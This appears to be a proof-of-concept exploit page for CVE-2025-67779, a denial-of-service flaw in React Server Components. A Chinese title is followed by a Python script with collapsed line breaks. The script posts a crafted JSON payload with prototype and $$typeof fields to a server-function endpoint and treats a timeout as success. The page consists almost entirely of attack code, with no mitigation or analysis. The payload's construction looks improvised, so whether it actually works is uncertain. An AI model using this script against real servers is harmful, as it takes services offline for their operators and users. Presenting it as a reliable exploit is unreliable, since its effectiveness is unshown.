CVE-2025-67779 React Server Components 拒绝服务漏洞

# CVE-2025-67779 PoC - React Server Components DoS # This PoC demonstrates the infinite loop caused by unsafe deserialization import requests import json TARGET_URL = "http://target-server.com/react-server-function-endpoint" def create_malicious_payload(): """ Create a malicious payload that triggers infinite loop in React Server Components The incomplete fix for CVE-2025-55184 allows unsafe deserialization """ # This payload exploits the unsafe deserialization in Server Function endpoints # It triggers a condition that causes infinite loop in the deserialization process payload = { "__proto__": { "constructor": { "prototype": { "isLoop": True } } }, "action": "server_function", "args": [ { "$typeof": "Symbol", "value": "react.element", "ref": { "$$typeof": "Symbol(react.async_iterator)", "next": { "$$typeof": "Symbol(react.context)" } } } ] } return payload def exploit(): """ Send malicious payload to trigger DoS """ payload = create_malicious_payload() headers = { "Content-Type": "application/json", "Accept": "text/x-component", "RSC-Action": "1" } try: print(f"[*] Sending malicious payload to {TARGET_URL}") response = requests.post( TARGET_URL, data=json.dumps(payload), headers=headers, timeout=10 ) print(f"[*] Response status: {response.status_code}") print(f"[*] If server hangs, the exploit was successful") except requests.exceptions.Timeout: print("[+] Server is not responding - DoS successful!") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()